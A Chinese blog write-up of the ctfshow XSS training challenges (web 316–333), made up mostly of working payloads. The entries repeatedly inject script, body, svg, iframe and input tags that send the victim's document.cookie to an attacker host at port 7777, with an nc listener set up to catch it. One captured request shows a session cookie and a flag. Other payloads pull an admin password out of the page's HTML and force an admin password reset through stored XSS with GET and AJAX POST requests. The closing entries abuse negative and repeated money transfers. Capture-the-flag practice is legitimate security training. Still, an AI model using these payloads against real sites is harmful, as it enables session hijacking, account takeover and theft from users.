当前位置:网站首页>ctfshow XSS
ctfshow XSS
2022-06-28 23:21:00 【quan9i】
文章目录
web 316
题目
圣诞快乐,写下祝福语,生成链接,发送给朋友,可以领取十个鸡蛋!

这里是让写祝福语的,那我们先送它一个简单的xss<script>alert(1)</script>
说明没有过滤,这个时候的话,flag藏于cookie中,我们需要想办法获取管理员的cookie,肯定不能<script>alert(document.cookie)</script>,因为这样的话得到的是自己的cookie,需要的是管理员的cookie,这时候有个方法就是我们利用我们的vps,用nc端口监听,然后直接我们在搜索框中添加一个js跳转链接加上获取cookie的代码,这时候管理员就会访问我们的ip地址,我们也就拿到了管理员cookie,也就得到了flag,思路有了,那payload构造也并非难事
先在vps开启监听
nc -lvnp 7777
//虽然只能接收一次,但我们可以nc多次
<script>document.location.href='http://xxx:7777/'+document.cookie</script>
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
<svg onload="window.open('http://xxx:7777/'+document.cookie)"></svg>
<input onfocus="window.open('http://xxx:7777/'+document.cookie)" autofocus></input>
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

web 317
题目同上
但script被过滤了,无法弹出1,此时换标签进行尝试
<body onload=alert(1)></body>
经过测试,这个可以,所以此时选择用它来弹cookie
在vps上监听端口
nc -lvnp 7777
在界面输入payload
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
web 318
题目同上
经过测试过滤了img,所以用其他方法即可
开启监听
nc -lvnp 7777
<body onload="window.open('http://xxx:7777/'+document.cookie)"></body>
得到
[email protected]VM-12-12-ubuntu:~$ nc -lvnp 7777
Listening on 0.0.0.0 7777
Connection received on 49.235.148.38 50456
GET /PHPSESSID=b8fo3kchl70j95q9rpvm1os8kp;%20flag=ctfshow%7B4574f5dd-a954-4ee1-a709-f6d512155a20%7D HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://127.0.0.1/target.php?key=ctfshow_bot_key
web 320
空格被ban,用/**/来替代
nc -lvnp 7777
<iframe/**/onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>
web 321
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>
web 322
<iframe/**/onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>

web 323
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>

web 324
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>
web 325
<body/**/onload="window.open('http://xxx::7777/'+document.cookie)"></body>
web 326
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>
存储型XSS
web 327
存储型XSS
<body/**/onload="window.open('http://xxx:7777/'+document.cookie)"></body>

web 328

发现有注册的,先随便注册一下,然后登录
只有管理员可以查看,这里的话我们的思路就是获取当前管理员的cookie,但是要从哪里着手呢,此时查看用户名和密码的源代码
可以发现这两个都是不存在单引号或者双引号包裹的,因此我们可以直接插入一段js代码,借助vps调出管理员的cookie,而后修改我们的cookie为管理员的cookie,此时我们的身份就变成了管理员的,因此我们这里去再注册一个,账号注册如下
<iframe onload="window.open('http://xxx:7777/'+document.cookie)"></iframe>
<script>window.location.href='http://xxx:7777/'+document.cookie;</script>
密码随便写(当然,账号随便写,密码写成这个也可以)
在你的vps开启监听端口
nc -lvnp 7777
登录后点击用户管理,此时再看vps
得到管理员cookieruenb618p3e7tg5a6gtumcs89b
修改cookie值,刷新界面
得到flagctfshow{d5cdea15-ce33-4df2-b9f0-13aab7b94fa1}
web 329
我按上一关的方法得到了flag,但是正常的话是得不到的,看其他师傅的wp说这里的是管理员在点击过js后立马登出,它的cookie一直是无效的,我们这里获取的话可以去获取它的用户名和密码界面
可以看见这个密码的话是在layui-table-cell laytable-cell-1-0-1类中的,因此我们需要用getElementsByClassName来获取,getElementsByClassName的作用是获取所有指定类名的元素
在控制台中document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')可以发现
密码在innerHTML中,此时再试着将这个输出
这时候就得到了密码,那我们此时利用这个即可构造得到flag的语句,如下
<script>window.open('http://xxx:7777/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

web 330
在修改密码界面进行获取
在这里可以看见包含了整个界面,因此类就确定是layui-container
<script>window.open('http://xxx:7777/'+document.querySelector('#top > div.layui-container').textContent)</script>
预期解(修改管理员密码)
我们发现多了个修改密码的界面,我们抓包后修改一下
那我们添加一个跳转本地的,然后修改密码,此时不就可以成功的修改管理员的密码了吗?
尝试一下
<script>windows.location.href="http://127.0.0.1/api/change.php?p=123"</script>
此时将这个作为用户名,这时候随便设置一个密码即可,而后等待几分钟,管理员访问此界面就会强制更改密码,此时我们以admin为用户名,123为密码登录即可
web 331

发现与上关界面相似,这里我们进行抓包一看究竟
发现从GET请求变成了POST请求,因此这里仍尝试上关预期解的方法,但是呢,我们需要找JavaScript发生POST请求的方式来进行发送,从而修改管理员的密码,这个可以参考
https://www.jb51.net/article/143683.htm
当然,我比较懒,直接在源码中借鉴一波
将内容进行略微修改,如下所示
$.ajax({
url:'api/change.php',
type:'post',
data:{
p:'123'//修改密码为123
}
});
整理一下的话就是
$.ajax({
url:'api/change.php',type:'post',data:{
p:'123'}});
我们可以先本地测试一下
先注册一个密码和账号都i为11的
在控制台添加我们的js代码
此时登出再以123为密码登入
说明构造的正确,此时直接将这个加上<script>标签作为用户名即可,构造payload
<script>$.ajax({
url:'api/change.php',type:'post',data:{
p:'123'}});</script>

web 332
正常注册时这里是无法交易的,提示有内鬼,终止交易,当以<script>alert(1)</script>注册时,发现可以转帐了,这里直接随便输入收款人,金额填写-10000,就白嫖了10000,再去买flag即可
web 333
这里的话可以用自己给自己转账的骚操作,因为这个转帐只加不减,所以我们以<script>1</script>创建用户后,在转帐界面抓包,一次传自己五块
此时浅浅的跑一万次即可
加大马力,线程调为20
买flag即可
边栏推荐
- [数学建模]Matlab非线性规划之fmincon()函数
- Web API learning notes 1
- Online text filter less than specified length tool
- Ahai's advice
- Interpretation of papers (DCN) towards k-means-friendly spaces: simultaneous deep learning and clustering
- 2022-06-28: what does the following golang code output? A:true; B:false; C:panic; D: Compilation failed. package main import “fm
- LINQ linked table query
- TDD and automated testing
- Leetcode 324 Swing sort II [tri double pointeur] le chemin du leetcode pour l'héroding
- Undefined symbol main (referred from entry9a.o).
猜你喜欢

【Word 教程系列第 2 篇】Word 中如何设置每页的表格都有表头

第二章 经典同步练习作业

再次上榜!知道创宇入选2022中国网安产业竞争力50强

【OpenCV】—线性滤波:方框滤波、均值滤波、高斯滤波

第五章 虚拟存储器 练习

CS5463代码模块解析(包含下载链接)

月薪6万,互联网“降本增效”后,这类人开始被疯抢
![[mathematical modeling] fmincon() function of MATLAB nonlinear programming](/img/fc/46949679859b1369fcc83d0d8b637c.png)
[mathematical modeling] fmincon() function of MATLAB nonlinear programming

机器学习4-降维技术
![[API packet capturing in selenium automation] installation and configuration of browsermobproxy](/img/67/3e15b2191ee23a8c4453aad007651d.png)
[API packet capturing in selenium automation] installation and configuration of browsermobproxy
随机推荐
[sword finger offer] 50 First character that appears only once
计数排序和排序的稳定性
Interpretation of papers (DCN) towards k-means-friendly spaces: simultaneous deep learning and clustering
【剑指Offer】50. 第一个只出现一次的字符
C语言-单词分析解析
Matlab learning notes (6) upsample function and downsample function of MATLAB
再次上榜!知道创宇入选2022中国网安产业竞争力50强
Hit the industry directly | the flying propeller launched the industry's first model selection tool
【SSM】报错 Access denied for user ‘WYF‘@‘localhost‘ (using password: YES) 数据的用户名变成了电脑的用户名
融云通信解决方案 破解企业沟通痛点
Lecun predicts AgI: big model and reinforcement learning are both ramps! My world model is the new way
[数学建模]Matlab非线性规划之fmincon()函数
LeetCode 324 擺動排序 II[排序 雙指針] HERODING的LeetCode之路
MATLAB 学习笔记(6)MATLAB 的 upsample 函数和 downsample 函数
At the end of June, how many people in Kangkang are ready to change jobs
【Flutter 問題系列第 71 篇】Flutter 中 Uint8List 和 Image 之間的相互轉換
Leetcode 324 swing sort ii[sort double pointer] the leetcode path of heroding
C# 面试题目_20220627记录一下
Deep virtual memory (VM)
Fanuc robot_ Introduction to Karel programming (2)_ Usage of general IO signal